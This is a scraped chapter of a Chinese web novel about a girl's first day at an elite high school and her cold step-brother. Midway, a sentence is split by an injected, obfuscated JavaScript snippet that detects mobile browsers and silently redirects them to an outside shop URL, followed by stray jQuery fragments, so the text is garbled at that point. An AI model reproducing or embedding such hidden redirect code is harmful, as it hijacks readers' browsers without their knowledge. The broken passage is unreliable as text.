文趣网 > 都市小说 > 爱上异父异母的妹妹 > 3. 入学
    无论如何,食物是无辜的。

    梁濯走后余年便坐回自己的位置上,他随手抽了两张纸垫在桌上,将碗放上去,准备吃饭。

    他的试卷上沾了一圈水渍,是碗底的形状。

    周边还溅着一点油渍。

    余年磨了磨后槽牙,看了一眼梁濯离开的方向。

    他知道这是余弘业给他的下马威,也无意为难梁濯,毕竟人没法选择自己的出生,孩子是无辜的。但现在看来,她似乎并不像看上去的那么无害。

    算了。

    对他来说,这些都只是无关的人而已。

    ***

    说是下学期,其实也只是两天后而已。

    梁濯始终怀疑余弘业这么晚才把她接过来是在给她下马威,毕竟不确定能不能上宁外的时候,她真的很焦虑。

    开学第一天,是余弘业亲自送他们去学校的。

    很显然是为了梁濯。

    作为宁外的校董之一,余弘业自然要让校方好好关照他的孩子。

    余年根本懒得和他们说话,一路上对着空气发呆,进了学校,他也没理会余弘业和梁濯,独自向着班级走去。

    梁濯当然是没有这么自由的,她只能跟着余弘业。

    宁外不愧是北城最好的高中,一砖一瓦都透着“高级”两个字,这些装潢和设备是十七中完全没法比较的,梁濯走在锃光瓦亮的地砖上,连呼吸都有些小心翼翼。

    进到校长办公室,对方慈祥地坐在沙发上,直夸梁濯漂亮,梁濯不喜欢这个评价,可她无法反驳,只能抿着唇微笑。

    很快,外面又走进来一个女人,梁濯很快意识到这个人是自己的班主任。

    在校长的介绍下,她乖乖站起来,向面前的女人问好:“叶老师好。”

    叶冬看了一眼面前的少女,又看了看沙发上坐着的余弘业,再加上校长不同寻常的态度,她很快意识到这很有可能是余年的妹妹,毕竟寻常关系可能还不至于让余老板亲自来这里。

    有钱人混乱的私生活和她这个上班的没什么关系,只希望这两个孩子到时候不要在班上吵起来。

    校长很快下了命令:“叶老师,快上课了,你带着梁濯去班上吧。”

    梁濯乖顺地跟上叶冬,她推测余弘业和校长还有东西要谈,她才不相信这个名义上的父亲真有那么关心她,特意跑一趟只为了自己这个十八年没见过的女儿。

    叶冬走在梁濯身前半步,心中却有些犯嘀咕,或许是因为她的容貌太过艳丽的缘故,她本以为这会是一个骄纵的少女,可她看上去是如此恬静,和学校里其他的大小姐完全不是一个感觉。

    少女甚至主动走在她身后半步,给了她足够的尊重,看上去是真正把她当做老师来尊敬的。

    一路上许多同学都对她们行了注目礼,这也完全可以理解。

    尽管她和所有学生一样穿着最普通的校服,那张艳丽的脸却衬得校服都精致几分。

    但……

    叶冬回头看了梁濯一眼,她丝毫不在意周边人的注视与惊叹,少女的目光平静无波,甚至带着一点疑惑:“叶老师,怎么了?”

    叶冬被那个眼神看得一震,片刻后才道:“没什么,怕你没跟上我。”

    梁濯抿唇微笑,“谢谢叶老师关心。”

    叶冬不知道她是真心还是假意,却只能接下这句感谢,只想着快点把梁濯领到班上,和这个少女待在一起实在是让人有些——

    这是一种她无法形容的感觉。

    进教室时,上课铃刚响过,但班级有些吵闹,第一节是班会课,班长陆书仪正安排着发书的事情。

    见到叶冬进门,陆书仪先问了好:“叶老师好。”

    随后又有几人稀稀拉拉地向她问好。

    梁濯跟在叶冬身后进了班,站上讲台的一瞬间,班上的同学怔了下,传书的动作停了,随后再度闹腾起来,轻微的吸气声、惊叹声、甚至还有口哨声。梁濯充耳不闻,视线落在班级最后一排的余年身上。

    他盯着桌面,似乎对这一场闹剧完全没有兴趣。

    叶冬敲了几下讲台桌,闹腾的学生们才终于安静下来。

    “这是我们班的新同学,叫梁濯。”

    叶冬看了梁濯一眼,她会意,立刻转身在黑板上写下自己的名字。

    叶冬继续道:“从今往后大家要好好相处,互相帮助。”

    只是梁濯的座位……

    整个班里只有两个同学没有同桌,一个是余年,另一个是夏阳。

    一个疑似是梁濯同父异母的兄弟,另一个是班上最不学无术的二世祖,令人头痛。

    就在叶冬准备调换其他人的座位给梁濯腾位置时,她却突然道:“老师,我可以坐在那里吗?”

    她指的是夏阳旁边的位置。她看得出来叶冬的为难,很显然这个男生不是个善茬。如果要给梁濯安排其他的位置,那势必会有人被迫坐在那个男生旁边。

    ……梁濯不太接受。

    果然她还是没法心安理得当一个关系户吧。

    而且她也不可能直接坐在余年旁边,这个空位很显然是最好的选择。

    叶冬不易察觉地松了口气,这是梁濯自己选的,跟她可没关系。

    台下立刻有好事者开始拍桌子,叶冬冷冷打断他们,道:“可以,你就坐在那里吧,有问题随时和老师说。”

    如此,她的自我介绍就算是完成了。

    余年也终于在这个时候抬头,梁濯像一支亭亭玉立的荷花,站在她写的名字旁边。

    原来是这个濯。

    余年想。

    虽说字如其人,可他却觉得梁濯和她的字几乎可以算得上是两个极端。

    他的思绪还没来得及拓展下去,梁濯却转身擦掉了自己的名字,这才下台,坐在她的同桌身边。

    仿佛她就是在等余年抬头一般。

    余年的视线忍不住跟着梁濯走下来,她却没有给过他一个眼神,径自坐下了。

    虽然梁濯选了夏阳当同桌,但余年就坐在她的右手边,两人中间只隔了个过道而已。

    班长继续把书整理好,从第一桌传下来,但班级里的人显然不是很在意这件事。

    毕竟他们已经高三了,这些东西早就教过了,发书不过是形式而已。

    梁濯整理着自己的桌面,直到夏阳和她搭话。

    “同桌,我叫夏阳,阳光的阳。”夏阳看上去想和梁濯说话,他趴在桌上,目光一刻也不离梁濯的脸。

    梁濯露出一副若有所思的表情,大概是在脑子里过了一遍这两个字的写法,随后夸赞道:“真好听。”

    夏阳一怔,大概没有想到梁濯会这么说,一张帅气的脸上不知道该摆出什么表情来,只呆呆地看着她。

    梁濯收回自己

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17889242|212692||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的视线,挡住嘴轻笑了几声。

    夏阳的耳根倏地红了,直到下课铃响,他的朋友过来喊他才终于冷却下来。

    “阳哥,来一根?”男生两指并拢,做了个抽烟的手势。

    夏阳起身,凳子在地上摩擦的声音分外刺耳,两人勾肩搭背地离开了班级。

    梁濯目睹了这一切,脸上却没有任何表情,而她心里对夏阳的厌恶之情陡然升起。

    她讨厌抽烟的人。

    夏阳在班上大概不太好惹,直到他走了,才陆陆续续有同学围到梁濯身边来,和她说话。

    梁濯一一应付着,看似说了许多,实际上什么也没透露,她的脸上一直挂着微笑,显得很亲切,其他人也没觉得这有什么不对。

    余年和梁濯之间只隔着一条过道,他没看她,却控制不住声音传进他的耳朵里。

    很难想象那天晚上把碗丢他桌上的人也是梁濯。

    他忍不住想,为什么?

    但他没有允许自己的思绪留在梁濯身上,只这一下,他便将注意力移走了。

    下一节课就是数学,老师一进门,便让学生把上学期期末市联考的卷子拿出来,准备讲评。

    夏阳迟到了一会儿才进来,带着满身烟味,很显然他也没有听课的打算,往座位上一趴就睡了。

    梁濯不知道他抽的是什么烟,只觉得很呛人,她猛地咳嗽了好几声,连老师都看过来,询问她的身体是否需要休息。

    然而,夏阳甚至没有要醒过来的意思,依旧趴在桌上呼呼大睡。

    梁濯无奈,却也无意在这个时候招惹旁人的注意,摇了摇头说自己只是呛到了。

    她没说呛到什么了,毕竟她不能当众给夏阳难堪——私底下怎么来往不要紧,面上总是得过得去的。

    她很快就平复下来,老师便继续讲课。

    只是那一双眼睛因着剧烈的咳嗽红了一圈,几乎要淌出泪来,看上去楚楚可怜。

    那种恶心的烟味依然在刺激着梁濯的神经,她干呕了几下,神志都快被吸干了。

    她不知道究竟是烟味实在呛鼻,还是她已经PTSD了,只能强撑着精神坐直身体。

    “笃笃”,是笔敲击桌子的声音。

    梁濯扭过头,是余年。

    他看上去很平静,说道:“坐我旁边。”

    梁濯一瞬间没有反应过来,她甚至疑心自己已经尼古丁中毒出现幻觉了,刚才究竟是谁在和她说话?

    她想要向余年确认一遍,他却不再理会她。

    梁濯心一横,心说她是绝对不会向烟鬼低头的。

    她抱起自己的书猫着腰溜到余年旁边的空位上坐下,只觉得浑身上下都通畅了。

    她没有和余年多说什么,她想余年应该也不太爱和她说话,只是全神贯注地对待这堂课。

    梁濯瞥了一眼余年的桌面,如愿以偿地看到他试卷上的污渍,心里却没那么畅快,反而有些愧疚。

    但余年大概注意到了她的视线,撩起眼皮朝她的方向看过来。

    视线即将相撞的一瞬间,梁濯懒洋洋地移开目光,装作什么都没有发生的样子。

    余年扑了个空,却再没旁的表示,只是淡淡地收回自己的视线。

    直到下课铃响起,梁濯终于忍不住,问了余年一句“为什么”。

    “吵。”

    余年只说了这一个字。